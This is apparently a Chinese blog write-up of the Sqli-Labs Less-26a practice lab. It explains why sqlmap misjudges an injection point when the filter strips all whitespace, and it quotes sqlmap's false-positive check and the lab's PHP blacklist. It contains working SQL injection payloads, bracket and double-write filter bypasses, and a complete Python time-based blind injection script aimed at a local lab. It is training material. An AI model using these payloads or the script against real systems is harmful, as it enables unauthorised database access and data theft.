[Sqli-Labs-Master] - Less_26
Less-26a
与 Less-26 情况基本一致,只是没有报错回显,考虑使用布尔盲注。
PoC
?id=0'||if(ascii(substr((),1,1))=115,sleep(1),1)||'0
当尝试使用 Sqlmap 进行布尔盲注时,突然发现 Sqlmap 没法实现『用括号绕过对空格的过滤』。这不是简单的 Tamper 脚本处理关键词能解决的,这需要在 Sqlmap 的攻击模块中添加额外的 payload 来实现。
也许只能手动盲注或者自行编写盲注脚本来实现。
Sqlmap
这里在测试 Sqlmap 布尔盲注时遇到了非常奇怪的问题,困扰了我很久。首先是多个『Tamper』使用的问题。
假设空字符并未被完全过滤,那么这里需要用到两个脚本『symboliclogical.py』(下略为 symb)与『space2randomblank.py』(下略为 space),前者用于替换逻辑运算符:and -> &&
;后者用于替换空白字符。查看源码会发现『space2randomblank.py』的优先级为『Low』高于 symb 的『Lowest』,当给出参数 --tamper=space2randomblank,symboliclogical
时 symb 不会起效;调换顺序 --tamper=symboliclogical,space2randomblank
,Sqlmap 会提示你弄反了脚本的调用顺序(优先级):
it appears that you might have mixed the order of tamper scripts. Do you want to auto resolve this? [Y/n/q]
输入 Y 会出现和上面一样的情况,symb 不起效;输入 n 强行以错误顺序调用脚本,symb 和 space 都起效。
Tips:将两个脚本的优先级调整为相同也能解决该问题。
为了让 sqlmap 成功识别出布尔盲注的注入点,需要在 payload 中保证:
- 默认的请求得到的是有效页面(可理解为查询成功)
- 需要提供有效页面/无效页面的标志,如返回『Your Login name:』时表示查询有效,则提供
--string="Your Login name:"
。
除此之外在遵循假设的前提下还需要保证空白字符被替换,因此需要用到脚本模块 Tamper。
但是使用不同的脚本 sqlmap 会有不同的反应。sqlmap 提供了很多空白字符替换的脚本,如『space2randomblank.py』(下略为 rblank)与『space2mysqlblank.py』(下略为 mblank),前者将 %20
随机替换为 ('%09', '%0A', '%0C', '%0D', '%0B')
中的一个,后者则会替换为更生僻的字符如 %A0
。使用 rblank 时 sqlmap 会发现布尔盲注的注入点,但它的 falsePositiveCheck
随即会认为该注入点是误判:
[WARNING] false positive or unexploitable injection point detected
而使用 mblank 时 Sqlmap 也能正确检测出布尔盲注,并且没有否定注入点,但它恢复不出任何内容。什么原因呢,我们需要研究一下 Sqlmap 的『falsePositiveCheck』模块的源码,根据关键词『false positive or unexploitable injection point detected』我们可以在源码中找到这个函数:
def checkFalsePositives(injection):
"""
Checks for false positives (only in single special cases)
"""
retVal = True
if all(_ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in injection.data) or (len(injection.data) == 1 and PAYLOAD.TECHNIQUE.UNION in injection.data and "Generic" in injection.data[PAYLOAD.TECHNIQUE.UNION].title):
pushValue(kb.injection)
infoMsg = "checking if the injection point on %s " % injection.place
infoMsg += "parameter '%s' is a false positive" % injection.parameter
logger.info(infoMsg)
def _():
return int(randomInt(2)) + 1
kb.injection = injection
for level in xrange(conf.level):
while True:
randInt1, randInt2, randInt3 = (_() for j in xrange(3))
randInt1 = min(randInt1, randInt2, randInt3)
randInt3 = max(randInt1, randInt2, randInt3)
if conf.string and any(conf.string in getUnicode(_) for _ in (randInt1, randInt2, randInt3)):
continue
if conf.notString and any(conf.notString in getUnicode(_) for _ in (randInt1, randInt2, randInt3)):
continue
if randInt3 > randInt2 > randInt1:
break
if not checkBooleanExpression("%d%s%d" % (randInt1, INFERENCE_EQUALS_CHAR, randInt1)):
retVal = False
break
if PAYLOAD.TECHNIQUE.BOOLEAN not in injection.data:
checkBooleanExpression("%d%s%d" % (randInt1, INFERENCE_EQUALS_CHAR, randInt2)) # just in case if DBMS hasn't properly recovered from previous delayed request
if checkBooleanExpression("%d%s%d" % (randInt1, INFERENCE_EQUALS_CHAR, randInt3)): # this must not be evaluated to True
retVal = False
break
elif checkBooleanExpression("%d%s%d" % (randInt3, INFERENCE_EQUALS_CHAR, randInt2)): # this must not be evaluated to True
retVal = False
break
elif not checkBooleanExpression("%d%s%d" % (randInt2, INFERENCE_EQUALS_CHAR, randInt2)): # this must be evaluated to True
retVal = False
break
elif checkBooleanExpression("%d %d" % (randInt3, randInt2)): # this must not be evaluated to True (invalid statement)
retVal = False
break
if not retVal:
warnMsg = "false positive or unexploitable injection point detected"
logger.warning(warnMsg)
kb.injection = popValue()
return retVal
简单分析一下这个函数,retValue
表示注入点是否误判,默认为不误判 true
。
if all(_ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in injection.data) or (len(injection.data) == 1 and PAYLOAD.TECHNIQUE.UNION in injection.data and "Generic" in injection.data[PAYLOAD.TECHNIQUE.UNION].title):
这里比较抽象,首先是 all()
函数,它接受一个可迭代的元素,若该元素中的所有子元素都为 true
则返回 true
。而里面的内容语法需要类比,例如:
a = (_ in (1,2,3) for _ in (1,4));
for aa in a:
print(aa);
# True
# False
括号中的内容返回一个迭代器,其具体内容是一个 python 特有的生成迭代器的句式,_
表示一个匿名变量,在该句式中他也可以携带/传递内容,表示的是在元组 (1,4)
中的各个元素是否在元组 (1,2,3)
中,结果从迭代器中被依次返回为 true, false
分别表示 1 在而 4 不在。
常量 PAYLOAD.TECHNIQUE.BOOLEAN
是一类表示注入类型的枚举内容,值为 1 表示布尔盲注。injection.data
是一个字典,其中存储的是注入的参数,如本次注入检查出来是布尔类型,该变量内部就会有一个键值对:
{
1: {
... # 布尔盲注细节
}
}
因此这里的 if 实际上是在检查:
- 注入类型是否只有『布尔盲注、时间盲注与堆叠注入』这三种类型。
- 注入类型单一且为联合注入且其中的『Title』字段值中含有字符串『Generic』
这是在判断是否需要『falsePositiveCheck』。
随后它利用循环语句生成了三个随机数,保证这三个数从小到大排序,且内容不会与布尔盲注的有效性判断点混淆。
用这三个随机数『R1,R2,R3』,sqlmap 依次用以下句型检测注入可行性:
r1 = r1
:必须有效r1 = r2
:必须无效r1 = r3
:必须无效r2 = r3
:必须无效r2 = r2
:必须有效r3 r2
:为非法句型,必须无效
6 步中任意一步有问题都会被判定为假注入点。其中第六条两个随机数默认用空格隔开。很不巧,本题所有的空白字符都被替换为空了,见 Sqli-Labs-Less-26a 的源码:
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}
包括注释与所有空白字符,无一幸免。因此在第六步中,原本的 r3 r2
变成了 r3r2
,两个数字相连变成了一串数字,可被隐式转换为有效的布尔值,因此反而返回了有效的页面,让 sqlmap 做出假注入点的判定。回到脚本,rblank 替换的空白字符全部被过滤,因此无法通过第六条检测;mblank 将空格替换成了一些非法字符,可以通过第六条检测,但由于这些非法字符只在特定版本的 Mysql 中被识别为分界符,在本地测试时 Mysql=5.7.26
不符合要求,因此无法作为有效的空白字符用于探测其他信息,故而我们恢复不了任何有效内容。
其本质问题还是,Sqlmap 的 Payload 构建是基于空白字符可用的情况,它并未考虑过使用『完全不依赖空格作为分界符』的 payload,如『括号构造句型』或是『利用符号 ||, &&
的界符特性省略分界符』等情况。另一方面,这种绕过也无法依赖 Tamper 模块实现,因此『Less-26a』从设计上讲就无法被 Sqlmap 成功注入。
盲注脚本
考虑手搓一个盲注脚本,注入数据库信息。
首先是括号替代空格的查询语句:
select(group_concat(table_name))from(information_schema.tables)where(table_schema='%s')
由于本体过滤了关键词"or",双写来绕过:"infoorrmation_schema"。
最终编写了脚本"less-26a-blind.py",采用"Requests"库实现,单线程任务,速度极慢,有待改进,脚本如下:
import requests as rq # By Requests
class timeBlindInjection: # 时间盲注
def __init__(self) -> None:
self.url = "http://localhost:83/sqli-labs/Less-26a/"
self.headers = {
"User-Agent": "",
"Host": "",
}
self.range = [0, 127]
self.timeout = 1 # 延时 1s
self.payload = {
"length": {
"pos": 1, # 二分检测位置
"cot": f"?id=0'||if(length((%s))%s,sleep({self.timeout}),1)||'0"
},
"detail": {
"pos": 2,
"cot": f"?id=0'||if(ascii(substr((%s),%d,1))%s,sleep({self.timeout}),1)||'0"
}
}
self.target = {
# "cur_database": "select(database())",
# "database": "select(group_concat(schema_name))from(infoorrmation_schema.schemata)",
# "table": "select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='%s')",
# "column": "select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name='%s')",
"secret": "select(secret_FPMB)from(challenges.5idc4x45h8)"
}
self.result = {}
def run(self) -> bool:
for key, val in self.target.items():
if("%s" in val):
val = val % (input(val+"\n->"))
self.result[key] = self.inject(val)
def inject(self, query: str) -> str: # 注入指定内容
t_len = self.BS("length", [query]) # 先得到长度
t_res = ""
for i in range(t_len):
print(f"\r{t_res}", end="")
res = self.BS("detail", [query, i+1])
if res != -1:
t_res += chr(res)
else:
input(res)
print(f"\r{t_res}")
return t_res
def BS(self, key: str, parms: list) -> int:
left, right = self.range
while(left <= right):
mid = (left+right)//2
if self.get(self.getPayload(key, parms, "".join(["=", str(mid)]))): # 查找正确
return mid
elif self.get(self.getPayload(key, parms, "".join([">", str(mid)]))):
left = mid+1
else:
right = mid-1
return -1
def getPayload(self, key: str, parms: list, parm: str) -> str:
tmp = parms.copy()
tmp.insert(self.payload[key]["pos"], parm)
return self.payload[key]["cot"] % tuple(tmp)
def get(self, data) -> bool:
try:
res = rq.get(self.url+data, timeout=self.timeout-0.1)
return False
except Exception: # 命中
return True
if __name__ == "__main__":
inject = timeBlindInjection()
inject.run()
打算用自带线程池的 HackRequests
库优化一下脚本,后面再说。
联合注入
试试联合注入:
1')union(select(database()));'
1')union(select(column_name)from(information_schema.columns)where(table_name="users"));'
发现不起效果,利用括号构造不出有效的 payload 能闭合后面的引号与括号。
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 在鹅厂做java开发是什么体验
· 百万级群聊的设计实践
· WPF到Web的无缝过渡:英雄联盟客户端的OpenSilver迁移实战
· 永远不要相信用户的输入:从 SQL 注入攻防看输入验证的重要性
· 全网最简单!3分钟用满血DeepSeek R1开发一款AI智能客服,零代码轻松接入微信、公众号、小程